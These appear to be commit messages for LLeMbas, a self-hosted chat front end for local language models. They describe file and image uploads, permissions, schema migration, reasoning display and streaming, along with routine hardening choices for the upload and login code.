Drag, paste or pick a file in the composer. Images go to vision models as multimodal content parts; PDFs and text files have their content extracted and placed in the prompt. Verified end to end against gemma4-e4b-q8 on llama-swap: given a drawing and a text file, it named the red square and blue circle and read the number out of the document. Type is decided by inspecting the bytes, never the filename or the browser's Content-Type -- a .png full of text is stored as text. Images are downscaled to 1400px and re-encoded: a phone photo is several megabytes of base64, which is slow and a large slice of the context window. PDF text is extracted once, at upload, and stored; re-extracting per request would let a reply change because a parser was upgraded. Design points worth keeping: - Images are only sent to models an administrator has marked `vision`. This is not graceful degradation -- most endpoints reject the entire request rather than ignoring an image part. A plain text turn stays a plain string for the same reason: the list form 400s on endpoints that do not implement it. - Images reach the model as base64 data URIs, not links. A local endpoint has no route back to LLeMbas, and a hosted one has no credentials for it. - Non-images are served Content-Disposition: attachment with nosniff, so an uploaded .html can never execute in this origin. Stored names are random; the uploader's name is a label and never a path. - Uploads are unbound until the message is sent, which is what lets a file be removed beforehand. claim() only takes unclaimed rows owned by the sender, so a forged id cannot pull in someone else's file. Abandoned uploads are swept at startup. - A scanned PDF says so rather than silently contributing nothing, and truncation is declared to the model in the document tag so it can admit it did not see page 400. - "Here, look at this" with no words is a legitimate turn, so a message is only empty when it carries neither text nor files. Also fixes auto-titling, which read message["content"] as a string and would have broken on the first multimodal turn. 186 tests, ruff clean.

Users, groups, permissions, model settings and reasoning display
Four features, plus the schema machinery they needed. **Schema sync.** The first live instance had data in it, and create_all only creates missing *tables* -- a new column silently never appeared. db/migrations.py now diffs the declared models against the database and ALTER TABLE ... ADD COLUMN for what is missing, deriving a backfill default from the column type (SQLite refuses a NOT NULL column without one, and a Python-side `default=dict` cannot be expressed in DDL). Verified against a copy of the live database: eight changes applied, all rows preserved, second run a no-op. Renames, drops and retypes are still manual and say so. **Permissions.** A flat set of named booleans: an instance baseline widened by each group the user belongs to. A group grants and never denies -- with denies, "why can this user not do X" cannot be answered without simulating every group. Admins bypass entirely, because an admin can grant it back to themselves in two clicks and pretending otherwise is theatre. Model *access* is separate: public, or granted to groups. The picker is not the boundary -- switching a chat to a model you cannot reach is a 403. **Model settings.** Ordering, pinned-first, an instance default and a per-user default, display names, descriptions, capability flags, and uploaded images. Images are stored and served locally rather than by URL: a remote URL makes every page render a request to a third party. Uploads are validated by magic number, not the declared content type, and stored under a random name. Models with no image get a generated initial whose hue is derived from the model id, so it is stable. **Reasoning display.** Streams into its own collapsible block above the answer, labelled "Thought for 14 seconds", collapsed once finished, and never replayed as context on the next turn. Two sources: the reasoning_content delta field, and <think> tags inline in content -- the latter needs a streaming splitter because the tags arrive split across chunks. Models emitting no reasoning show nothing, via a :has() rule rather than JavaScript. Verified against qwen35-9b on llama-swap: 694 reasoning events, 52 answer tokens, cleanly separated. Two bugs found and fixed while testing: - A bare `Mapped[list]` relationship is treated by SQLAlchemy as a scalar and returns None instead of []. It needs the element type. - FastAPI substitutes the default for an empty form value, so with `x: str | None = Form(None)` a submitted `x=` is indistinguishable from an absent field. That silently broke clearing a system prompt or a temperature. update_chat now reads the raw form and checks key presence. 143 tests, ruff clean.

Working chat: auth, connections, streaming, folders
LLeMbas now runs end to end. Register, add an OpenAI-compatible connection, and hold a real streaming conversation organised into folders. Verified against the local llama-swap instance. Streaming is the one genuinely tricky part. Sending a message returns two HTML fragments -- the user bubble and an empty assistant bubble carrying an sse-connect -- and that attribute is the ONLY thing that starts a generation. Rendering an incomplete assistant message as a streaming shell falls out of the same template, which means loading a page whose last reply never finished simply picks it up again. Details worth knowing about, each commented where it matters: - SSE payloads are split across several data: lines. A raw newline in one data: line truncates the event, which shows up the first time a model emits a code block. - Markdown is rendered server-side by the same helper for both the page and the final streamed frame, so the two cannot disagree. The fence renderer is replaced outright rather than using markdown-it's highlight option, which re-wraps output in a second <pre>. - escape_text is html.escape, not nh3.clean_text: it escapes character by character, so escaping stream chunks separately equals escaping the whole string. - The stream opens its own session via session_scope(); it outlives the request handler and the dependency-scoped session may be closed. - Deleting a folder keeps the chats inside it (FK is SET NULL). Losing a conversation to a mis-clicked folder delete is unforgivable. - Login failures use one message for "no such account" and "wrong password" so the form cannot enumerate registered addresses. Also adds deploy/ for the gamebox install at https://chat.lan: system unit, nginx vhost with buffering off (buffering on turns streaming into one lump at the end), and install/update scripts following the same service-user and /srv bind-mount conventions as llama-swap and comfyui. 70 tests, ruff clean.
